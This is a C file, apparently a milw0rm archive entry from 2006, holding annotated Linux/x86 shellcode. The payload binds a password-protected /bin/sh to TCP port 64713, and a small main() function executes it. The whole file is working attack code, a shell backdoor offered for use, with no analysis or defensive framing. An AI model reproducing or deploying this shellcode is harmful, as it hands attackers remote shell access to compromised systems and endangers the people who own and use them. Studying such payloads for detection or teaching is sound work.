/*
* linux-x86-authportbind.c - AUTH portbind shellcode 166 bytes for Linux/x86
* Copyright (c) 2006 Gotfault Security <xgc@gotfault.net>
*
* portbind shellcode that bind()'s a shell on port 64713/tcp
* and requests a user password.
*
*/
char shellcode[] =
/* socket(AF_INET, SOCK_STREAM, 0) */
"\x6a\x66" // push $0x66
"\x58" // pop %eax
"\x6a\x01" // push $0x1
"\x5b" // pop %ebx
"\x99" // cltd
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x02" // push $0x2
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
/* bind(s, server, sizeof(server)) */
"\x52" // push %edx
"\x66\x68\xfc\xc9" // pushw $0xc9fc // PORT = 64713
"\x66\x6a\x02" // pushw $0x2
"\x89\xe1" // mov $esp,%ecx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\x89\xc6" // mov %eax,%esi
"\x43" // inc %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
/* listen(s, anything) */
"\xb0\x66" // mov $0x66,%al
"\xd1\xe3" // shl %ebx
"\xcd\x80" // int $0x80
/* accept(s, 0, 0) */
"\x52" // push %edx
"\x52" // push %edx
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\x43" // inc %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x96" // xchg %eax,%esi
/* send(s, "Password: ", 0x0a, flags) */
"\x52" // push %edx
"\x68\x72\x64\x3a\x20" // push $0x203a6472
"\x68\x73\x73\x77\x6f" // push $0x6f777373
"\x66\x68\x50\x61" // pushw $0x6150
"\x89\xe7" // mov $esp,%edi
"\x6a\x0a" // push $0xa
"\x57" // push %edi
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\xb3\x09" // mov $0x9,%bl
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
/* recv(s, *buf, 0x08, flags) */
"\x52" // push %edx
"\x6a\x08" // push $0x8
"\x8d\x4c\x24\x08" // lea 0x8(%esp),%ecx
"\x51" // push %ecx
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\xb3\x0a" // mov $0xa,%bl
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x87\xf3" // xchg %esi,%ebx
/* like: strncmp(string1, string2, 0x8) */
"\x52" // push %edx
"\x68\x61\x75\x6c\x74" // push $0x746c7561 // password
"\x68\x67\x6f\x74\x66" // push $0x66746f67 // here
"\x89\xe7" // mov %esp,%edi
"\x8d\x74\x24\x1c" // lea 0x1c(%esp),%esi
"\x89\xd1" // mov %edx,%ecx
"\x80\xc1\x08" // add $0x8,%cl
"\xfc" // cld
"\xf3\xa6" // repz cmpsb %es:(%edi),%ds:(%esi)
"\x74\x04" // je dup
/* exit(something) */
"\xf7\xf0" // div %eax
"\xcd\x80" // int $0x80
/* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
"\x6a\x02" // push $0x2
"\x59" // pop %ecx
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x49" // dec %ecx
"\x79\xf9" // jns dup_loop
/* execve("/bin/sh", ["/bin/sh"], NULL) */
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();
}
// milw0rm.com [2006-04-06]
